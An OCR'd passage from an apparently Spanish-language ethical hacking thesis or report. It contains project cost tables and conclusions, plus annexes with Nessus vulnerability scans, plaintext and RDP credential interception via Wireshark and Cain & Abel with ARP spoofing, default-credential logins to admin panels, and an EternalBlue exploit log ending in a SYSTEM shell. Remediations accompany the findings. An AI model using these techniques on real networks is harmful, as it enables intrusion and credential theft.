100% 1
proyecto
Iteracion 1 90% 10% 0.9
Iteracidén 2 90% 10% 0.9
Iteracidn 3 95% 5% 0.95
Iteracién 4 90% 0.9
Fuente: Elaboracién propia
Valor ganado
Tabla 23 Valor ganado
Tareas\Dias 15 25 35 45 55| Total
Gestion
2475 2475
proyecto
Iteraciéon 1 2389.5 265.5 2655
Iteracion 2 2632.5 292.5 2925
Iteracién 3 1282.5 67.5 1350
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Iteracién 4 405 405
Proyecto 2475 2389.5 2898 1575 472.5 9810
EV 2475 4864.5 7762.5 9337.5 9810
Fuente: Elaboracién propia
Costo Real
Tabla 24 Costo Real
Tareas\Dias 15 25 35 45 55| Total
Gestion
2475 2475

proyecto

Iteracion 1 2655 2655
Iteracidn 2 2800 2800
Iteracién 3 1100 1100
Iteracién 4 450 450
Proyecto 2475 2655 2800 1100 450 9480
AC 2475 5130 7930 9030 9480

Fuente: Elaboracion propia
Resumen
Tabla 25 Resumen

DIAS 15 25 35 45 55
PV 2475 5130 8055 9405 9855
EV 2475 4864.5 7762.5 9337.5 9810
AC 2475 5130 7930 9030 9480

Fuente: Elaboracién propia
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5.1Cierre

5.1.1 Lecciones aprendidas

Fase

Escaneo de

hosts

Explotacion

Paquete

Planificacion

2da Iteracién

Descripcion
Problema
Algunos hosts no
aparecieron en un
escaneo de nivel

basico.

Los sistemas y
plataformas
vulnerados,

permiten escalar
privilegios para
realizar cualquier

dafio posible.

CAPITULO V: CIERRE

Tabla 26 Lecciones aprendidas

Causa Accién Correctiva

Carencia de Entrenar al personal.
entrenamiento en
seguridad, de
controles de seguridad
y evaluaciones del
estado en seguridad.
Software pirata, Actualizaciones de
sistemas sistemas, aplicaciones,
desactualizados, falta mejora de versiones,
de conocimientos, etc.
déficit plan anual de

seguridad, etc. licenciamiento

Fuente: Elaboracién propia

Resultado
Obtenido
Personal

entrenado

Formalizacién de

software

Leccion
Aprendida
Capacitacion y
evaluacién

constante.

Inventario
actualizado
cada 6 meses
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Indicador

Eficiencia

Eficacia

Productividad

5.1.2 Cuadro comparativo de resultados

Formula

1 — (resultado actual) /

resultado anterior)

1 — (Tiempo de proceso
actual / tiempo de
proceso anterior)

1 - (ataques actuales /

atagues anteriores)

Tabla 27 Cuadro comparativo de resultados

Frecuencia Resultado anterior

Anual

Anual

Anual

70

16

Fuente: Elaboracién propia

Resultado

actual

20

Resultado

obtenido

71

75

75

Resultado

esperado

65

70

70
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CAPITULO VI: CONCLUSIONES Y RECOMENDACIONES

6.1 Conclusiones

- Gracias al uso de la metodologia Ethical Hacking se logré6 mejorar el nivel de
eficiencia en un 71%, superando la meta esperada, tomando en cuenta que en el
periodo de evaluacién anterior se observo un nivel alto de vulnerabilidad en un

70% y actualmente se observa una disminucién considerable en un 20%.

- Se logroé mejorar el nivel de eficacia a un 75% del resultado esperado, teniendo
en cuenta que en el afio anterior se realizd el trabajo en un periodo de 4 meses 'y

actualmente se logré realizar en 1 mes.

- Se mejoro la productividad a un 75% del resultado esperado, teniendo en cuenta
que en el afio pasado la empresa sufrié 16 ataques durante el afio y actualmente

el nimero de ataque fue reducido a 4.

6.2 Recomendaciones

- Serecomienda asignar un oficial de seguridad informatica para seguir mejorando

el nivel de eficacia.

- Serecomienda capacitar (ver en anexos) al personal en las nuevas tendencias de
software de analisis de vulnerabilidades con la finalidad de que estén preparados
para poder actualizar sus brechas de seguridad o poder responder a la brevedad

posible ante un ataque cibernético.
- Se recomienda contar con software actualizado, licenciado, cifrar los protocolos

de comunicacion en los servicios ftp, ssh, http, telnet, con el objetivo de evitar o

reducir el nivel de incidencias por una persona mal intencionado.
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Anexo 1 Escaneo Servidor

Scans > Hosis -

Haost

192.168.1.37

Vulnerabilities

llustracién 18 Escaneo de Servidor

Remediations History

Vulnerabilities a

Fuente: Elaboracién propia

Scan Detalls

MName:
Status:
Policy:
Scanner:
Folder:
Start:
End:
Elapsed:
Targets:

dvl

Completed

piural

Local Scanner
My Scans

Today at 5:41 PM
Today at 5:43 PM
2 minutes
192.168.1.37

Vulnerabilities

e



llustracién 19 Escaneo de Servidor

Hosts

w

192.168.1.37 > Vulnerabilities &

Plugin Name Plugin Family Count Host Details
CRITICAL PHP Unsupported Version Detection CGI abuses 1 IP: 192.168.1.37
MAC: 00:0c:29:55:d3:0a
HIGH PHP < 4.4.5 Multiple Vulnerabilities CGl abuses 1 0Os: EPSON Stylus Printer

Linksys Wireless Access Point
Oracle Integrated Lights Out

Severity
PHP < 4.4.8 Multiple Vulnerabilities CGI abuses 1 Manager
Start: Today at 5:41 PM
PHP < 4.4.9 Multiple Vulnerabilities CGl abuses 1 End: Today at 5:43 PM
Elapsed: 2 minutes
PHP < 5.2.11 Multiple Vulnerabilities CGI abuses 1 KB: Download
PHP < 5.2.8 Multiple Vulnerabilities CGl abuses 1
Vulnerabilities
PHP < 5.3.11 Multiple Vulnerabilities CGI abuses 1
@ Critical
® High
PHP < 5.3.12 / 5.4.2 CGI Query String Code Execution CGl abuses 1 Medium
® Low
PHP < 5.3.9 Multiple Vulnerabilities CGI abuses 1 ® info

Fuente: Elaboracién propia
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[lustracion 20 Escaneo de Servidor

Apache Tomcat Manager Common Administrative Credentials

Microsoft Windows SMBwv1 Multiple Wulnerabilities

MS15-034: Vulnerability in HTTR.sys Could Allow Remote Code Execution (3042553) (uncredentialed check)

Anomymous FTP Enabled

Apache Tomcat Default Files

MS16-047: Security Update for SAM and LSAD Remote Protocols (3148527) (Badlock) (uncredentialed check)
S5L Certificate Cannot Be Trusted

S5L Self-Signed Certificate

FTP Supports Cleartext Authentication

Fuente: Elaboracién propia

M517-010; Security Update for Microsoft Windows SME Server (401338%) (ETERNALELUE) (ETERNALCHAMPION) (ETERNALROMA. .

Web Servers

Windows

Windows

Windows

Web Servers

Windows

General

General

101



llustracion 21 Vulnerabilidad PHP

Hosts > 192.168.1.37 > Vulnerabilities
PHP Unsupported Version Detection

Description

According to its version, the installation of PHP on the remote host is no longer supported.

Lack of support implies that no new security patches for the product will be released by the vendor. As a result. it is likely to contain security
vulnerabilities.

Fuente: Elaboracion propia

llustracion 22 Vulnerabilidad Apache Tocamt

Apache Tomcat Manager Common Administrative Credentials

Description

Messus was able to gain access to the Manager web application for the remote Tomcat server using a known set of credentials. A remote attacker can exploit this
issue to install a malicious application on the affected server and run arbitrary code with Tomcat's privileges (usually SYSTEM on Windows, or the unprivileged
‘tomcat’ account on Unix). Note that worms are known to propagate this way.

Solution
Edit the associated tomcat-users.xml’ file and change or remove the affected set of credentials.

Fuente: Elaboracién propia

Plugin Details

Severity:
1D:
Version:
Type:
Farmnily:
Published:
Modified:

Critical

58987
$Revision: 1.14 §
remote

CGl abuses
2012/05/04
2017/01/05

Plugin Details

Severity: Critical

10 34970
ersion: 138

Type: remaote
Family: Web Servers
Published: Mowvember 26,
Modified: MNovember 15,

z

z
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llustracion 23 Vulnerabilidad HTTP

MS15-034: Vulnerability in HTTP.sys Could Allow Remote Code Execution (3042553) (uncredentialed check)

Description

The wersion of Windows running on the remote host is affected by an integer overflow condition in the HTTP protocol stack (HT TP.sys) due to improper parsing of
crafted HT TP reguests. An unauthenticated, remote attacker can exploit this to execute arbitrary code with System privileges.

Solution
Microsoft has released a set of patches for Windows 7, 2008 R2, 8, 8.1, 2012, and 2012 R2

Fuente: Elaboracion propia

llustraciéon 24 Vulnerabilidad FTP

Anonymous FTP Enabled
Description

Messus has detected that the FTP server running on the remote host allows anomymous logins. Therefore, amy remote user may connect and authenticate to the
senver without providing a password or unigue credentials. This allows the user to access any files made available by the FTP server.

Fuente: Elaboracion propia
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Interpretacion:

- PHP Unsupported Version Detection, la version de php que tiene este sistema, ya

no es actualizable, esta obsoleta, por lo tanto, es vulnerable.

- Unsupported Web Server Detection, la version del Apache es obsoleta, por lo

tanto, es vulnerable.

- Apache HTTP Server 403 Error Page Utf-7 Encoded XSS, esta es vulnerabilidad
de secuencias de comandos entre sitios (XSS) en las versiones de Apache 2.2.6
y anteriores, esto permite a atacantes remotos inyectar secuencias de comandos
web o HTML a través de URL codificadas bajo UTF-7.

- Apache Multiviews Arbitrary Directory Listing, el Apache hace divulgacion de
informaciéon. El Atacante puede enviar una solicitud para que se le liste un

directorio remoto, incluso si existe un archivo de indice en el directorio.

- Apache tomcat Administrative Credentials, se pudo obtener acceso a la aplicacion
web de Manager para el servidor Tomcat remoto utilizando un conjunto conocido
de credenciales. Un atacante remoto puede explotar este problema para instalar
una aplicacion maliciosa en el servidor afectado y ejecutar cédigo arbitrario con

los privilegios de Tomcat
- MS15-034, La vulnerabilidad podria permitir la ejecucién remota de cédigo si un
atacante envia una solicitud HTTP especialmente disefiada a un sistema Windows

afectado.

- Anonymus FTP Enable, se ha detectado que el servidor FTP que se ejecuta en el

host remoto permite inicios de sesién anénimos.
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Anexo 2 Escaneo PC

Severity ~

CRITIC.

INFO
INFO
INFO

llustracién 25 Escaneo PC

Plugin Name

MS17-010: Security Update for Microsoft Windows SMB Server (4013389) (u...

MS16-047: Security Update for SAM and LSAD Remote Protocols (3148527)...

SME Signing Disabled

SSL Certificate Cannot Be Trusted

S5L Certificate with Wrong Hostname

S5L Self-Signed Certificate

DCE Services Enumeration

Nessus SYN scanner

Service Detection

Plugin Family Count
Windows 1
Windows 1
Misc. 1
General 1
General 1
General 1
Windows 9
Port scanners ]
Service detection 4

Fuente: Elaboracion propia

Host Details

IP: 192.168.1.57

MAC: 20:16:d8:66:c2:08

0s: Microsoft Windows 10 Pro
Start: Today at 5:43 PM

End: Today at 5:46 PM

Elapsed: 3 minutes
KB: Download

Vulnerabilities

@ Critical
Medium
@® Info
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llustracién 26 Escaneo PC

Microsoft RDP RCE (CVE-2019-0708) (BlueKeep) (uncredentialed check)

MS11-030; Vulnerability in DNS Resolution Could Allow Remote Code Execution (2509553) (remote check)

MS517-010: Security Update for Microsoft Windows SMEB Server (4013389) (ETERNALELUE) (ETERMALCHAMPION) (ETERNALROMANCE) (ETE

M3512-020; Vulnerabilities in Remate Desktop Could Allow Remote Code Execution (2671387) (uncredentialed check)

MS16-047: Security Update for SAM and LSAD Remaote Protocols (3148527) (Badlock) (uncredentialed check)

Fuente: Elaboracion propia
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llustraciéon 27 Vulnerabilidad MS17-010

Hosts » 192.168.1.57 > Vulnerabilities
MS17-010: Security Update for Microsoft Windows SMB Server (4013389) (uncredenti...

Description

The remote Windows host is affected by the following vulnerabilities :

- Multiple remote code execution vulnerabilities exist in Microsoft Server Message Block 1.0 (SMBv1) due to improper handling of certain requests. An
unauthenticated, remote attacker can exploit these vulnerabilities, via a specially crafted packet, to execute arbitrary code. (CVE-2017-0143,
CVE-2017-0144, CVE-2017-0145, CVE-2017-0146, CVE-2017-0148)

- An information disclosure vulnerability exists in Microsoft Server Message Block 1.0 (SMBv1) due to improper handling of certain requests. An

unauthenticated, remote attacker can exploit this, via a specially crafted packet, to disclose sensitive information. (CVE-2017-0147)

Solution

Microsoft has released a set of patches for Windows Vista, 2008, 7, 2008 R2, 2012, 8.1, RT 8.1, 2012 R2, 10, and 2016.

See Also

https:/technet. microsoft.com/library/security/MS17-010

Fuente: Elaboracién propia

Plugin Details

Severity: Critical

1Dz 97833

Version: $Revision: 1.3 §
Type: remote

Family: Windows
Published: 2017/03/20
Modified: 2017/03/23

Risk Information

Risk Factor: Critical
CVSS v3.0 Base Score: 9.3

CV5S v3.0 Vector: CVSSI3.0/AVINAC:L/PRIN
TUEN/S:WICHIHAAH

CV5S v3.0 Temporal Vector: CVSS:3.0/EU
/RL:O/RC:C

CVSS v3.0 Temporal Score: 8.5
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Interpretacion:

- MS17-010 Security Update for Microsoft Windows SMB Server, Esta
vulnerabilidad nos indica que este equipo tiene la versién de Samba 1.0, cuando
este protocolo envia mensajes por la red, el atacante puede ejecutar cédigo

remoto malicioso.

- MS15-034, La vulnerabilidad podria permitir la ejecucién remota de cédigo si un
atacante envia una solicitud HTTP especialmente disefiada a un sistema Windows

afectado.

- Microsoft RDP RCE, El host remoto se ve afectado por una vulnerabilidad de

ejecucion remota de cédigo en Remote Desktop Protocol (RDP).

- MS12-020, Las vulnerabilidades en el escritorio remoto podrian permitir la

ejecucion remota de cédigo (2671387)
- Microsoft Windows Remote Desktop Protocol Server Man-in-the-Middle

Weakness, La version remota del Servidor de protocolo de escritorio remoto

(Servicio de terminal) es vulnerable a un ataque de hombre en el medio (MiTM).
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Anexo 3 Escaneo PC

Vulnerabi
Filter ~

Sev

llustracién 28 Vulnerabilidades PC

Name

Microsoft RDP RCE (CVE-2019-0708) (BlueKeep) (uncredentialed check)

MS06-040: Vulnerability in Server Service Could Allow Remote Code Execution (321883) (uncredentialed check)

MS08-067: Microsoft Windows Server Service Crafted RPC Request Handling Remote Code Execution (958644) (ECLIPSEDWING) (uncr...

WS08-001: Microsoft Windows SWMB Vulnerabilities Remote Code Execution (958687) (uncredentialed check)

MS17-010: Security Update for Microsoft Windows SME Server (4013389) (ETERNALBLUE) (ETERNALCHAMPION) (ETERMALROMANC...

M506-035: Vulnerability in Server Service Could Allow Remote Code Execution (317159) (uncredentialed check)

IMS12-020: Vulnerabilities in Remote Desktop Could Allow Remote Code Execution (2671387) (uncredentialed check)

Microsoft Windows Remote Desktop Protocol Server Man-in-the-Middle Weakness

Microsoft Windows SMB NULL Session Authentication

SMB Signing not required

Terminal Services Doesn't Use Network Level Authentication (NLA) Only

Terminal Services Encryption Level is Medium or Low

Fuente: Elaboracién propia

Family

Windows

Windows

Windows

Windows

Windows

Windows

Windows

Windows

Windows

Misc.

Misc.

Misc.

Count

Host Details

[H 192.168.187.140

MAC: 00:0C:29:46.FE:65

0s: Microsoft Windows 2000 Server
Microsoft Windows XP Professio

Start: Today at 1:09 AM

End: Today at 1:12 AM

Elapsed: 3 minutes

KE: Download

Vulnerabilities

Critical
High
Medium
® Low

® Info

bV
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Interpretacion:

El host remoto se ve afectado por una vulnerabilidad de ejecucion remota de cddigo en
Remote Desktop Protocol (RDP). Un atacante remoto no autenticado puede explotar
esto, a través de una serie de solicitudes especialmente disefiadas, para ejecutar cédigo

arbitrario.

- MS08 067, La vulnerabilidad podria permitir la ejecucién remota de cédigo si un

sistema afectado recibié una solicitud RPC especialmente disefiada

- MS09_001, Un atacante que explotara con éxito estas vulnerabilidades podria
instalar programas; ver, cambiar o eliminar datos; o crear nuevas cuentas con

plenos derechos de usuario.

- MS12-020, Las vulnerabilidades en el escritorio remoto podrian permitir la

ejecucion remota de cédigo (2671387)

- MSO06_035, permitir que un atacante ejecute codigo arbitrario en el host remoto

con privilegios 'SYSTEM'.

- MS12-020: Vulnerabilities in Remote Desktop Could, Si RDP se ha habilitado en
el sistema afectado, un atacante remoto no autenticado podria aprovechar esta
vulnerabilidad para hacer que el sistema ejecute cddigo arbitrario al enviarle una

secuencia de paquetes RDP especialmente disefiados.
- Microsoft Windows Remote Desktop Protocol Server Man-in-the-Middle

Weakness, La version remota del Servidor de protocolo de escritorio remoto

(Servicio de terminal) es vulnerable a un atague de hombre en el medio (MiTM).
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Anexo 4 Interceptando contrasefias en texto plano

llustracion 29 Ingreso de sesion

C (@ Noseguro | 192.168.1.135/indexphp

Usemame:

Password

Login Failed, Invalid Inputl

Fuente: Elaboracion propia

llustracion 30 Usuario interceptado
*eth0
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
(W4 ® O X6 o « = .0 1« o= = @ g @ ¥

A [tcp contains "admin"

L Ll 1ot

9
676 POST /login.php HTTP|

No. Time
[l

71 58.025600262 1!12.168.1.61 192.168.1.135 HTTP
HITE

110 133.068739368 192 168 1 61 192 168 1 135

Fuente: Elaboracion propia

Interpretacion:

Utilizando Wireshark, Cain & Abel se pudo evidenciar las credenciales “FTP”,

“HTTP”, transmitidas en texto plano utilizando protocolos no cifrados.

llustracion 31 Usuario y clave en texto plano

JWOHBRE 4y R oVYDEE202E 02 il

Decoders Networl Sniffer Cracker Traceroute CCOU |"X" Wireless |3 Qu:

Passwords Timestamp FTP server Chent
€ Fre ) 2/06/2019-12430) NS RTINS GEENNED G
D HTTP )
B IMAP (0)
LDAP (0)
P pop3 ()
wh SMB (0)

B Telnet (0)
VNC )

& 1050)

B

Fuente: Elaboracién propia
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Interpretacion:

- Sepuede observar que el consultor haciendo uso de la herramienta CAIN & ABEL,

pudo capturar las credenciales en texto plano del usuario generado.

llustracion 32 Usuario y clave en texto plano

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

X G O &« » )« »

= @ a a ¥F

- Hypertext Transfer Protocol
» POST /login.php HTTP/1.1\r\n
Host: 192.168.1.135\r\n
Connection: keep-alive\rwn

Content-Length: 3@\r\n

Cache-Control: max-age=@\r\n
origin: http://192.168.1.135\r\n
Upgrade-Insecure-Requests: 1\r\n

Content-Type: application/x-www-form-urlencoded\rin

User-Agent: Mozilla/5.0 (Windows NT 18.6; Win64; x64) AppleWebKit/537.36 (}
text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, ir
Referer: http://192.168.1.135/index.php\rin
Accept-Encoding: gzip, deflateirin

Accept:

Accept-Language: es-419,es;g=0.9\r\n
Cookie: PHPSESSID=fofjjdidnd7r7mhig2tv5rj246\rin

\rin

[Full request URI: http://192.168.1.135/1login.php]

[HTTP request 1/2]
Response in frame: 262

[Next request in frame: 263]

File Data: 3@ bytes
= HTML Form URL Encoded: applicat
» Form item

"username!

" o=

"password" =

adm

in

10N/ X =W~
"

form-urlencoded

" -

"123456"
61 74 69 6f 6e 27 78 68 74 6d 6c 2b 78 6d 6¢c 2c ation/xh tml+xml,
61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 6d 6¢c 3b  applicat ien/xml;
71 3d 30 2e 39 2c 69 6d 61 67 65 2f 77 65 62 70 q=0.9,1im age/webp
2c 69 6d 61 67 65 2f 61 70 Ge 67 2¢ 2a 2f 2a 3b  ,image/a png, */*
71 3d 30 2e 38 @d 0a 52 65 66 65 72 65 72 3a 20 q=0.8- R eferer:
68 74 74 70 3a 2f 2f 31 39 32 2e 31 36 38 2e 31 http://1 92.168.1
2e 31 33 35 2f 69 6e 64 65 78 2e 70 68 7@ 0d Ga .135/ind ex.php
41 63 63 65 70 74 2d 45 6Ge 63 6f 64 69 6e 67 3a  Accept-E ncoding:
206 67 7a 69 78 2c 20 64 65 66 6c 61 74 65 Bd fa gzip, d eflate
41 63 63 65 70 74 2d 4c 61 Ge 67 75 61 67 65 3a  Accept-L anguage:
20 65 73 2d 34 31 39 2c 65 73 3b 71 3d 3@ 2e 39 es-419, es;q=8.9
@d ea 43 6f 6f 6b 69 65 3a 20 50 48 56 53 45 53 Cookie : PHPSES
53 49 44 3d 66 30 66 Ga 6Ga 64 31 64 6e 64 37 72  sSID=Tefj jdidndir
22 54 G2 33 74 29 24 Je  ge 74 so 98 24 2 od oo Zobhigaty Erinds
od 8a 75 73 65 72 6e 61 6d 65 3d 61 64 6d 69 6e userna me=admin

Rl W70 61 73 73 77 6f 72 64 3d 31 32 33 34 35 3

Llpasswor d=123456

Interceptacion:

Fuente: Elaboracion Propia

Data sensible

- Se recomienda la implementacion de politicas de seguridad como “HTTP Strict

Transport Security (HSTS)” a nivel de la implementacion y uso del protocolo

HTTPS,

tal

como

se

detalla

en

https://www.owasp.org/index.php/HTTP_Strict_Transport_Security_Cheat_Sheet

- Asi mismo se recomienda el uso de FTPS (FTP sobre SSL / TLS) o SFTP (parte
de la suite SSH).
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Anexo 3 Interceptando de credenciales RDP

La version del servidor de escritorio remoto (RDP) es vulnerable a un ataque de
interceptacion (MiTM). Un atacante con la capacidad de interceptar el trafico del servidor
RDP puede deshabilitar el cifrado entre el cliente y el servidor sin ser detectado. Un
ataque MiTM de esta naturaleza permitié al consultor de Neosecure obtener informacion

confidencial (credenciales de autenticacion) transmitida a través de la red.

llustracion 33 Ingreso de sesion RDP

Conexlép p
"< a Escritorio remoto

Er— l

LSy [ ype——r——

Se sobctandn owdenciles o corectanse

'c- No punde comprobarse La idertidad dol eguapo rwecto
(Deson conadane do todos modos 7

Punde ocums aste problema 3 o 6350 Tmcto aecLL3 Una versdin de
Windows artence s Vists, & 8 6 00 sermcks o0 et corfgurads
sars admts la ot Sa sericsn

Para chtener ayuds, pargane en cortacts con of admniador 9 md © o
sropuetan del 0QuUDs Memcts

NG vohvar 8 PrgUrtamne schne CONEXones § 0de 000

] ‘e

Fuente: Elaboracion Propia

Interpretacion:

- Haciendo uso de la herramienta Cain & Abel, el consultor intercepto el trafico entre
el servidor RDP y una PC seleccionada usando la técnica ARP Spoofing. Se puede
apreciar que al momento de que el consultor intenta ingresar al escritorio remoto

del servidor, le sale un mensaje de alerta

llustracion 34 Usuario y clave en texto plano

S
A omimRE Yy B B VYmEmEa0®2 2 i
¢9: Decoders Ig Nemcdrm Sniffer 15 CrocirchQL Traceroute 12 cCoU ['K° Wiceless [ Query |

f\ Passwords Timestamp | FTP server | Chent | Username Password
L Ra iy 27/06/2019 - 12:43402 e TR
@ HITP )
59 IMAP (0)

£ LDAP (D)

H P roP3 .g"

Fuente: Elaboracién Propia
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Interpretacion:

- Se puede apreciar en la opcion ARP-RDP, la contrasefia ingresada por el

consultor es capturada en texto plano

llustracion 35 Usuario y clave en texto plano

APR-ProsyHTTPS (0
R
1 APR-RDP (5)

APR-FTPS 0)

128 b ROP-20096271 72153783 0t

Fuente: Elaboracion Propia

Interpretacion:

El consultor ingresando a la carpeta RDP de Cain & Abel, pudo ubicar la credencial

del usuario utilizado

Se recomienda aplicar las siguientes medidas correctivas:
- Forzar el uso de TLS como capa de transporte para este servicio si se admite.
- Seleccione la opcidn 'Permitir conexiones sélo de equipos que ejecutan Escritorio

remoto con autenticacion de nivel de red'.
Enlace de referencia

https://blogs.technet.microsoft.com/enterprisemobility/2008/07/21/configuring-terminal-

servers-for-server-authentication-to-prevent-man-in-the-middle-attacks/

114


https://blogs.technet.microsoft.com/enterprisemobility/2008/07/21/configuring-terminal-servers-for-server-authentication-to-prevent-man-in-the-middle-attacks/
https://blogs.technet.microsoft.com/enterprisemobility/2008/07/21/configuring-terminal-servers-for-server-authentication-to-prevent-man-in-the-middle-attacks/

Anexo 4 Exposicién de plataformas administrativas

Al realizar la exploracion de puertos y servicios expuestos en los servidores
seleccionados, se logro identificar distintos servicios administrativos expuestos a la red
local sin ningun tipo de control de acceso, esto puede ser identificado como ausencia

de aseguramiento.

El acceso a este tipo de consolas administrativas debe ser autorizado Gnicamente desde
la red de administradores y no desde cualquier direccion IP de la red local.

llustracion 36 Plataforma expuesta

(L Apache Tomeat X +
&« X I@ No es sequro _I
Apache Tomcat Iniciar sesion

S 1e Soft
Tu conendn con este sitio web no 5 privada pi//ww
Nombre de usuario
Contrased

Matus Asyoum e | It can be fou

where "$. y. If you're s¢

think you should be, then you're either a user who has arrived at new installation of To
administrator who hasn't got his/her setup quite night. Providing the latter is the case, |
Documentation for more detailed setup and administration information than is found in

NOTE: For security reasons, using the manager webapp is restricted to users w
"manager-gui”. Users are defined in sCATALINA_HOME/conf/tomcat-users.xml

Included with this release are a host of sample Servlets and JSPs (with associated so
documentation, and an introductory guide to developing web applications

Fuente: Elaboracién Propia

llustracion 37 Plataforma expuesta

&« C @ Noesseguro | 192.168.1.143/xampp/
XAMPP for Windows

Bienvenido a XAMPP para Windows Version 1.5.1

o Felicidades:

hequeo de seguridad XAMPP se instalé con exito en su ordenador!

Documentacién
Componentes

phpinfa()

Ahora se puede empezar a trabajar. :) Primero por favor pulse encima de »Estado« en la parte
eventualmente podrian ocasionar problemas.

Atencion: XAMPP fue modificado a partir de la versién 1.4.x a una administracion de paquete 0
= XAMPP paquete basico

= XAMPP Perl addon
= XAMPP Tomcat addon

Bioritmo
Instant Art

Flash Art

Agenda de telefonos
PEAR:Excel_Writer
ADOdb

Herramientas

= XAMPP Cocoon addon
= XAMPP Python addon (developer version)

¥ en un futuro:

= XAMPP Utility addon (Accesorio pero aun inactive)

= ¥AMDD Sarvar addnn fnftrae canvidnrac arin inartivac)

Fuente: Elaboracion Propia
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llustracion 38 Plataforma expuesta

C @ Noesseguro | 192.168.1.143/phpmyadmin/

\ Bienvenido a phpMyAdmin 2.7.0-pl1
L . MySQL 5.0.18-nt ejecutindose en localhost como root@localhost
. e
Base de datos
‘i Crear nueva base de datos ¢ Language (D) | Spanish (ss-utf-g) v
eleccionar una base de datos [ | [Cotejamienta v ][ crear |

Juegos de caracteres de MySQL: UTF-8 Unicode (utfs)
¥ Mostrar informacién de tiempo de sjecucién de MySQL Cotejamiento de las conexiancs MySQL:
[£] Mostrar l=s varisblas del sistama MySGL () d o / Estilo: [ XAMPP =

=ma / Estilo:

Mastrar arocesos @
% [B) pocumentacisn de phpMyAdmin
41 =

Juege 4 ractares 1= cote; tos
L e S £} Pagina oficial de phpMyAdmin
B} motores de almacenamiento

[P Reinicio de MySQL

[ChangeLog] [cvS] [Lists]

£3 Privilegios
(5 Bases de datos
&2 Exportar
Fuente: Elaboracién Propia
llustracién 39 Plataforma expuesta
& C @ Noesseguro | 192.168.1.143 /i ——— 23]

Joomlal

\E}*\ Login

Ty
—a Username
Welcome to Joomlal
Use a valid username and Password
password to gain access to
the administration console.
Login

Fuente: Elaboracion Propia

Interpretacion:

- El consultor escaneando las direcciones ip’s, logré identificar plataformas
administrativas, muchas veces estas plataformas son instaladas y dejadas con

una configuracién por default utilizando claves basicas.

- Se recomienda, incluir una lista de control de accesos (ACL) en los servidores
para que los puertos administrativos solo puedan ser ingresados desde IPs

seleccionadas.
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Anexo 5 Credenciales por defecto

llustracion 40 Credenciales por defecto

C @ Noesseguro | 192.168.1.143/phpmyadmin/

Bienvenido a phpMyAdmin 2.7.0-pl1

MySQL 5.0.18-nt ejecutindose en localhost como roct@localhost

phpMyAdmin

* 2]/ Fay
[ (e o o . e e
(B2czs de datos)
“fiz Crear nueva base de datos & Languagz (@): | Spanish (es-utf-8) v
eleccionar una base de datos | | | Cotejamiento r H Crear ‘

Jusgos de caracteres de MySQL: UTF-8 Unicode (utf8)
Cotejamisnto de las conexiones MySQL: | utfe_genaral_ci
@ Tema / Estilo: [ xampp M

&) pocumentacién de phpMyAdmin

¥ Mostrar informacicn de tiempo de ajecucin de MySQL
Mostrar las variables dal sistema MySQL @)

8 Mostrar procescs

Jusge de caractares y sus cotsjamientas £8 pagina oficial de phpMyAdmin
B Motores de almacenamienta .
I» Reinicio de MySQL

£ privilegios

Bases de datos

& Exportar

B Importar
P

[Changelog] [CVE] [Lists]

egiada predeterminada ¢
agregue la contraseiia a root@localhost. |

Fuente: Elaboracién Propia

llustracion 41 Credenciales por defecto

&« C @ Noesseguro | 192.168.1.143 /e ——— 53]

Username

@}J Login

Welcome to Joomlal

Use a valid username and Password
password to gain access to
the administration console.

Login

Fuente: Elaboracién Propia
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llustracion 42 Credenciales por defecto

D No es seguro | 192.168.0.24/wordpress/wp-login.php?loggedout=true

@WORDPRESS

Tu sesidon se ha cerrado.

Nombre de usuano

Contrasefia

Recordarme Iniciar sesign

iOlvidaste tu contrasefia?

Fuente: Elaboracion Propia

Interpretacion:

- El consultor escaneando las direcciones ip’s, logré identificar plataformas
administrativas, ingresando sesién con contrasefias débiles, por ejemplo. (admin,

123456), se debe recalcar que las plataformas utilizaban contrasefias vacias.
- Se recomienda, incluir una lista de control de accesos (ACL) en los servidores

para que los puertos administrativos solo puedan ser ingresados desde IPs

seleccionadas.
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Anexo 6 Vulnerabilidad MS17 010

192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.

168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.

Command

192.168.
192.168.
192.168.

187.
187.
187.
187.
187.
187.
187.
187.
187.
187.
187.
187.
187.
187.
187.
187.
187.
187.
187.
187.
shell session
187.139:445 -
187.139:445 -
187.139:445 -

139:
139:
139:
139:
139:
139:
139:
139:
139:
139:
139:
139:
139:
139:
139:
139:
139:
139:
139:
139:

445
445
445
445
445
445
445
445
445
445
445
445
445
445
445
445
445
445
445
445

llustracion 43 Vulnerabilidad MS17-010

- Host 1s Likely VULNERABLE to MS517-01@! - Windows 7 Professional 76¢€
Connecting to target for exploitation.

Connection established for exploitation.

Target 0S5 selected valid for 0S5 indicated by SMB reply

CORE raw buffer dump (42 bytes)

gx0OEEEERE 57 69 6e 64 6T 77 73 20 37 20 50 72 6T 66 65 73 Windows
0x0EEO0L1® 73 69 6T 6e 61 6C 20 37 36 30 31 20 53 65 72 76 sional 7
0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack
Target arch selected valid for arch indicated by DCE/RPC reply
Trying exploit with 12 Groom Alleocations.

Sending all but last fragment of exploit packet

Starting non-paged pool grooming

Sending SMBv2 buffers

Closing SMBv1l connection creating free hole adjacent to SMBv2 buffer.
Sending final SMBvZ2 buffers

Sending last fragment of exploit packet!

Receiving response from exploit packet

ETERNALBLUE overwrite completed successfully (@xC0eeee@D)!

Sending egg to corrupted connection.

Triggering free of corrupted buffer.

2 opened (192.168.187.134:4444 -> 192.168.187.139:45161) at 2019-08-C

licrosoft Windows [Versifin 6.1.7601]
Copyright (c) 2009 Micresoft Corporation. Reservados tedes los derechos.

Z:\Windows\system32=]]

Interpretacion:

Fuente: Elaboracién Propia

- Se encontré una vulnerabilidad conocida como Eternalblue, actualmente esta es

una de las brechas de seguridad mas comunes que pueden tener los equipos

clientes por falta de actualizaciones a los sistemas operativos, tengamos en

cuenta que esta vulnerabilidad es familia del Ransomware Wanacry.
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Anexo 7 Reconocimiento de software instalado

llustracién 44 Reconocimiento de Metadatos

BB B R T D W

Fuente: Elaboracion Propia

Interpretacion:

- Al realizar un escaneo a los documentos publicados en internet se encontraron

metadatos, estos documentos nos permitieron identificar lo siguiente:

